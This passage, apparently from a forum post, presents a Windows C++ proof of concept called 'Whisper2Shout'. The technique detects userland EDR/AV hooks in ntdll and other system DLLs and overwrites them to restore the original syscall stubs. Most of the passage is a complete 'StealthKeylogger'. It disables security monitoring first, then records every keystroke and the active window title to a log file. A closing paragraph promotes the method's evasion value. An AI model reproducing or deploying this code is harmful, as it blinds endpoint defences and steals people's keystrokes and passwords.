(mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE));
}
bool IsNearAddress(void* addr1, void* addr2, DWORD tolerance) {
DWORD_PTR ptr1 = reinterpret_cast<DWORD_PTR>(addr1);
DWORD_PTR ptr2 = reinterpret_cast<DWORD_PTR>(addr2);
DWORD_PTR diff = (ptr1 > ptr2) ? (ptr1 - ptr2) : (ptr2 - ptr1);
return diff <= static_cast<DWORD_PTR>(tolerance);
}
void PrintDetectionSummary() {
std::cout << “\nDetection Summary:\n”;
std::cout << “===================\n”;
size_t directJmps = 0, detoursStyle = 0, indirectJmps = 0, pushRet = 0, syscallHooks = 0;
for (const auto& hook : detectedHooks) {
if (hook.hookType.find(“Direct JMP”) != std::string::npos) directJmps++;
else if (hook.hookType.find(“Detours”) != std::string::npos) detoursStyle++;
else if (hook.hookType.find(“Indirect JMP”) != std::string::npos) indirectJmps++;
else if (hook.hookType.find(“Push+Ret”) != std::string::npos) pushRet++;
else if (hook.isSystemCall) syscallHooks++;
}
std::cout << “Direct JMP hooks: “ << directJmps << std::endl;
std::cout << “Detours style hooks: “ << detoursStyle << std::endl;
std::cout << “Indirect JMP hooks: “ << indirectJmps << std::endl;
std::cout << “Push+Ret hooks: “ << pushRet << std::endl;
std::cout << “Syscall hooks: “ << syscallHooks << std::endl;
std::cout << “Total hooks detected: “ << detectedHooks.size() << std::endl;
}
const std::vector<HookInfo>& GetDetectedHooks() const {
return detectedHooks;
}
void PrintDetailedReport() {
std::cout << “\nWhisper2Shout Analysis:\n”;
std::cout << “=============================================\n”;
if (detectedHooks.empty()) {
std::cout << “No hooks detected.\n”;
return;
}
for (const auto& hook : detectedHooks) {
std::cout << “\nFunction: “ << hook.functionName << std::endl;
std::cout << “Original Address: “ << hook.originalAddress << std::endl;
std::cout << “Hook Type: “ << hook.hookType << std::endl;
if (hook.hookAddress) {
std::cout << “Hook Target: “ << hook.hookAddress << std::endl;
}
if (hook.trampolineAddress) {
std::cout << “Trampoline: “ << hook.trampolineAddress << std::endl;
}
if (hook.isSystemCall) {
std::cout << “System Call Number: “ << hook.syscallNumber << std::endl;
}
std::cout << “Original Bytes: “;
for (size_t i = 0; i < hook.originalBytes.size(); i++) {
printf(“%02X “, hook.originalBytes[i]);
}
std::cout << std::endl;
std::cout << “Hooked Bytes: “;
for (size_t i = 0; i < hook.hookedBytes.size(); i++) {
printf(“%02X “, hook.hookedBytes[i]);
}
std::cout << std::endl;
}
}
};
int main() {
std::cout << “Whisper2Shout Hook Detection and Evasion System\n”;
std::cout << “===============================================\n\n”;
Whisper2ShoutDetector detector;
std::cout << “1. Detecting hooks…\n”;
bool hooksDetected = detector.DetectWhisper2ShoutHooks();
if (hooksDetected) {
std::cout << “\n2. Hooks detected! Generating a report…\n”;
detector.PrintDetailedReport();
std::cout << “\n3. Attempting Whisper2Shout technique…\n”;
if (detector.PerformWhisper2ShoutUnhook()) {
std::cout << “Unhooking completed successfully with Whisper2Shout technique.\n”;
}
else {
std::cout << “Some unhooking operations failed.\n”;
}
std::cout << “\n4. Re-scanning for remaining hooks…\n”;
detector.DetectWhisper2ShoutHooks();
}
else {
std::cout << “No hooks detected.\n”;
}
std::cout << “\nPress Enter to exit.\n”;
std::cin.get();
return 0;
}[/color]Now to put this technique into practical demonstration I’ll use a simple keylogger from a previous demonstration that allows us to clearly see the technique in action within a real-world scenario, giving insight into how hooks are identified and handled during runtime:
Code:
[color=#eeeeee]#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <fstream>
#include <string>
#include <ctime>
#include <iostream>
#include <vector>
#include <unordered_map>
#include <memory>
#include <psapi.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <mutex>
#include <thread>
#include <chrono>
#include <algorithm>
#include <cstdlib>
#include <cstring>
using namespace std;
class Whisper2ShoutEvasion {
private:
struct HookInfo {
void* originalAddress;
void* hookAddress;
void* trampolineAddress;
std::vector<BYTE> originalBytes;
std::vector<BYTE> hookedBytes;
std::string hookType;
bool isSystemCall;
DWORD syscallNumber;
std::string functionName;
};
std::vector<HookInfo> detectedHooks;
std::mutex evasionMutex;
bool evasionActive;
public:
Whisper2ShoutEvasion() : evasionActive(false) {}
bool InitializeEvasion() {
std::lock_guard<std::mutex> lock(evasionMutex);
std::cout << “Starting Whisper2Shout Demo…\n”;
if (!DetectAndCatalogHooks()) {
std::cout << “No hooks detected or cataloging failed\n”;
return false;
}
if (!PerformUnhooking()) {
std::cout << “Unhooking failed\n”;
return false;
}
evasionActive = true;
std::cout << "System successfully compromised - EDR/AV monitoring disabled\n";
return true;
}
private:
bool DetectAndCatalogHooks() {
detectedHooks.clear();
if (!EnumerateModuleExports()) return false;
if (!DetectSystemCallHooks()) return false;
return !detectedHooks.empty();
}
bool EnumerateModuleExports() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnapshot == INVALID_HANDLE_VALUE) return false;
MODULEENTRY32 me32 = {};
me32.dwSize = sizeof(MODULEENTRY32);
if (Module32First(hSnapshot, &me32)) {
do {
std::string moduleName;
int len = WideCharToMultiByte(CP_ACP, 0, me32.szModule, -1, NULL, 0, NULL, NULL);
if (len > 0) {
std::vector<char> buffer(len);
WideCharToMultiByte(CP_ACP, 0, me32.szModule, -1, buffer.data(), len, NULL, NULL);
moduleName = std::string(buffer.data());
}
std::transform(moduleName.begin(), moduleName.end(), moduleName.begin(), ::tolower);
if (moduleName == "ntdll.dll" || moduleName == "kernel32.dll" ||
moduleName == "kernelbase.dll" || moduleName == "user32.dll") {
AnalyzeModuleExports(me32.hModule, moduleName);
}
} while (Module32Next(hSnapshot, &me32));
}
CloseHandle(hSnapshot);
return true;
}
void AnalyzeModuleExports(HMODULE hModule, const std::string& moduleName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;
DWORD exportRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) return;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportRVA);
DWORD* functions = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
DWORD* names = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hModule + names[i]);
DWORD funcRVA = functions[ordinals[i]];
void* funcAddr = (BYTE*)hModule + funcRVA;
if (IsHookedFunction(funcAddr, funcName, moduleName)) {
std::cout << “Hook Detected “ << funcName << “ in “ << moduleName << std::endl;
}
}
}
bool IsHookedFunction(void* funcAddr, const std::string& funcName, const std::string& moduleName) {
BYTE firstBytes[32];
SIZE_T bytesRead;
if (!ReadProcessMemory(GetCurrentProcess(), funcAddr, firstBytes, sizeof(firstBytes), &bytesRead)) {
return false;
}
HookInfo hookInfo = {};
hookInfo.originalAddress = funcAddr;
hookInfo.functionName = funcName;
if (firstBytes[0] == 0xE9) {
DWORD* relativeAddr = (DWORD*)(firstBytes + 1);
void* targetAddr = (BYTE*)funcAddr + *relativeAddr + 5;
if (IsPrivateMemoryRegion(targetAddr)) {
hookInfo.hookAddress = targetAddr;
hookInfo.hookType = “Direct JMP Hook”;
detectedHooks.push_back(hookInfo);
return true;
}
}
return false;
}
bool DetectSystemCallHooks() {
HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);
if (!hNtdll) return false;
std::vector<std::pair<void*, std::string>> zwFunctions;
EnumerateZwFunctions(hNtdll, zwFunctions);
std::sort(zwFunctions.begin(), zwFunctions.end());
for (size_t i = 0; i < zwFunctions.size(); i++) {
CheckSystemCallHook(zwFunctions[i].first, zwFunctions[i].second, static_cast<DWORD>(i));
}
return true;
}
void EnumerateZwFunctions(HMODULE hNtdll, std::vector<std::pair<void*, std::string>>& zwFunctions) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHeader->e_lfanew);
DWORD exportRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) return;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hNtdll + exportRVA);
DWORD* functions = (DWORD*)((BYTE*)hNtdll + exportDir->AddressOfFunctions);
DWORD* names = (DWORD*)((BYTE*)hNtdll + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)hNtdll + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hNtdll + names[i]);
if (strncmp(funcName, “Zw”, 2) == 0) {
DWORD funcRVA = functions[ordinals[i]];
void* funcAddr = (BYTE*)hNtdll + funcRVA;
zwFunctions.push_back({ funcAddr, std::string(funcName) });
}
}
}
void CheckSystemCallHook(void* funcAddr, const std::string& funcName, DWORD syscallNumber) {
BYTE syscallBytes[32];
SIZE_T bytesRead;
if (!ReadProcessMemory(GetCurrentProcess(), funcAddr, syscallBytes, sizeof(syscallBytes), &bytesRead)) {
return;
}
bool hasMovR10RCX = (syscallBytes[0] == 0x4C && syscallBytes[1] == 0x8B && syscallBytes[2] == 0xD1);
bool hasMovEAX = (syscallBytes[3] == 0xB8);
bool hasSyscall = (syscallBytes[8] == 0x0F && syscallBytes[9] == 0x05);
bool hasRet = (syscallBytes[10] == 0xC3);
bool isValidSyscall = hasMovR10RCX && hasMovEAX && hasSyscall && hasRet;
if (!isValidSyscall) {
HookInfo hookInfo = {};
hookInfo.originalAddress = funcAddr;
hookInfo.functionName = funcName;
hookInfo.isSystemCall = true;
hookInfo.syscallNumber = syscallNumber;
hookInfo.hookType = “System Call Hook”;
hookInfo.hookedBytes.assign(syscallBytes, syscallBytes + 16);
std::vector<BYTE> originalStub = {
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0x0F, 0x05,
0xC3
};
*(DWORD*)(originalStub.data() + 4) = syscallNumber;
hookInfo.originalBytes = originalStub;
detectedHooks.push_back(hookInfo);
}
}
bool PerformUnhooking() {
int successCount = 0;
for (auto& hook : detectedHooks) {
if (UnhookFunction(hook)) {
successCount++;
}
}
std::cout << “Successfully unhooked “ << successCount << “/” << detectedHooks.size() << " hooks\n";
return successCount > 0;
}
bool UnhookFunction(HookInfo& hook) {
if (hook.originalBytes.empty()) return false;
DWORD oldProtect;
if (hook.isSystemCall) {
if (!VirtualProtect(hook.originalAddress, hook.originalBytes.size(),
PAGE_EXECUTE_READWRITE, &oldProtect)) {
return false;
}
memcpy(hook.originalAddress, hook.originalBytes.data(), hook.originalBytes.size());
FlushInstructionCache(GetCurrentProcess(), hook.originalAddress, hook.originalBytes.size());
VirtualProtect(hook.originalAddress, hook.originalBytes.size(), oldProtect, &oldProtect);
return true;
}
return false;
}
bool IsPrivateMemoryRegion(void* address) {
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(address, &mbi, sizeof(mbi)) == 0) {
return false;
}
return (mbi.Type == MEM_PRIVATE) &&
(mbi.State == MEM_COMMIT) &&
(mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE));
}
public:
bool IsEvasionActive() const { return evasionActive; }
size_t GetHookCount() const { return detectedHooks.size(); }
};
class StealthKeylogger {
private:
string lastWindowTitle;
string bufferedKeys;
Whisper2ShoutEvasion evasion;
bool isActive;
public:
StealthKeylogger() : isActive(false) {}
bool Initialize() {
std::cout << “Initializing stealth keylogger with Whisper2shout technique.\n”;
if (!evasion.InitializeEvasion()) {
std::cout << “WARNING Whisper2shout method failure, resorting to operating without stealth\n”;
}
isActive = true;
std::cout << “Keylogger active: capturing input\n”;
return true;
}
void Run() {
if (!isActive) {
std::cout << “ERROR Keylogger not initialized\n”;
return;
}
std::cout << “Starting key detection.\n”;
while (true) {
Sleep(10);
for (int key = 8; key <= 190; ++key) {
if (GetAsyncKeyState(key) & 1) {
ProcessKeypress(key);
}
}
}
}
private:
void ProcessKeypress(int key) {
string output;
if (SpecialKeys(key, output)) {
LOG(output);
}
else {
bool isShiftPressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
char ch = static_cast<char>(key);
if (key >= 65 && key <= 90) {
if (!isShiftPressed) ch = tolower(ch);
output = string(1, ch);
LOG(output);
}
else if ((key >= 48 && key <= 57) || (key >= VK_OEM_1 && key <= VK_OEM_8)) {
output = string(1, ch);
LOG(output);
}
}
}
string GetActiveWindowTitle() {
char title[256];
HWND foreground = GetForegroundWindow();
if (foreground == nullptr) return “”;
GetWindowTextA(foreground, title, sizeof(title));
return string(title);
}
string GetTimestamp() {
time_t now = time(nullptr);
tm localTime;
localtime_s(&localTime, &now);
char buffer[80];
strftime(buffer, sizeof(buffer), “[%Y-%m-%d %H:%M:%S] “, &localTime);
return string(buffer);
}
void FlushBufferToLog(ofstream& LogFile) {
if (!bufferedKeys.empty()) {
LogFile << bufferedKeys;
bufferedKeys.clear();
}
}
void LOG(const string& input) {
ofstream LogFile(“system_logs.txt”, ios::app);
if (!LogFile.is_open()) return;
string currentWindow = GetActiveWindowTitle();
if (currentWindow != lastWindowTitle && !currentWindow.empty()) {
FlushBufferToLog(LogFile);
lastWindowTitle = currentWindow;
LogFile << “\n\n” << GetTimestamp() << “[TARGET: “ << currentWindow << “]\n”;
if (evasion.IsEvasionActive()) {
LogFile << GetTimestamp() << “[Total: “ << evasion.GetHookCount() << “ hooks neutralized]\n”;
}
}
if (!input.empty() && input.front() == ‘[‘ && input.back() == ‘]’) {
FlushBufferToLog(LogFile);
LogFile << GetTimestamp() << input << “\n”;
}
else {
bufferedKeys += input;
}
LogFile.flush();
}
bool SpecialKeys(int key, string& outStr) {
switch (key) {
case VK_SPACE: outStr = “ “; return true;
case VK_RETURN: outStr = “[ENTER]”; return true;
case VK_BACK: outStr = “[BACKSPACE]”; return true;
case VK_SHIFT: outStr = “[SHIFT]”; return true;
case VK_LBUTTON: outStr = “[L_CLICK]”; return true;
case VK_RBUTTON: outStr = “[R_CLICK]”; return true;
case VK_TAB: outStr = “[TAB]”; return true;
case VK_CONTROL: outStr = “[CTRL]”; return true;
case VK_MENU: outStr = “[ALT]”; return true;
case VK_CAPITAL: outStr = “[CAPS_LOCK]”; return true;
case VK_ESCAPE: outStr = “[ESC]”; return true;
case VK_LEFT: outStr = “[LEFT_ARROW]”; return true;
case VK_RIGHT: outStr = “[RIGHT_ARROW]”; return true;
case VK_UP: outStr = “[UP_ARROW]”; return true;
case VK_DOWN: outStr = “[DOWN_ARROW]”; return true;
case VK_DELETE: outStr = “[DEL]”; return true;
case VK_OEM_PERIOD: outStr = “.”; return true;
default: return false;
}
}
};
void ShowBanner() {
std::cout << R”(
Whisper2shout Keylogger
)” << std::endl;
}
int main() {
ShowBanner();
std::cout << “Starting\n”;
std::cout << “Whisper2Shout keylogger demo\n\n”;
StealthKeylogger keylogger;
if (!keylogger.Initialize()) {
std::cout << “Failed to start keylogger\n”;
return 1;
}
std::cout << “\nPress CTRL + C to terminate (if you can detect it!)\n”;
std::cout << “All keystrokes being captured to: system_logs.txt\n\n”;
try {
keylogger.Run();
}
catch (…) {
std::cout << “ Keylogger terminated unexpectedly\n”;
}
return 0;
}[/color]AV detection, kernel monitoring via ETW, virtualization, and minifilter callbacks are valid and represent significant hurdles for any evasion technique, this userland method still holds substantial value however. Yes it’s true that full stealth often requires kernel components, and bypassing kernel level logging or hypervisor type protections. But, without custom drivers this remains a challenging problem outside the scope of this POC. However, this technique focuses on providing a userland approach to detecting and analyzing hooks in real time which remains highly effective against a broad range of userland hooking methods. These userland methods may not circumvent all AV or EDR detections, especially those based on kernel monitoring, this method is still one of the most thorough and practical userland techniques available today for identifying hook manipulations in modern windows. Now yes, some userland bypasses can cause anomalies in the stack that more advanced detection mechanisms might pick up on. However, this technique minimizes such footprints by directly detecting and restoring the original syscall behaviour, therefore reducing the need for extensive stack manipulation or spoofing. I agree fully that perfect stealth at the userland level is challenging, the approach focuses on restoring the syscall flow as closely as possible to its original state, which limits suspicious stack alterations compared to more intrusive hooking or spoofing methods. Ultimately, this balances detection risk with practical evasion and analysis capabilities without relying on complex kernel mode components.
Many thanks for reading.
- Remy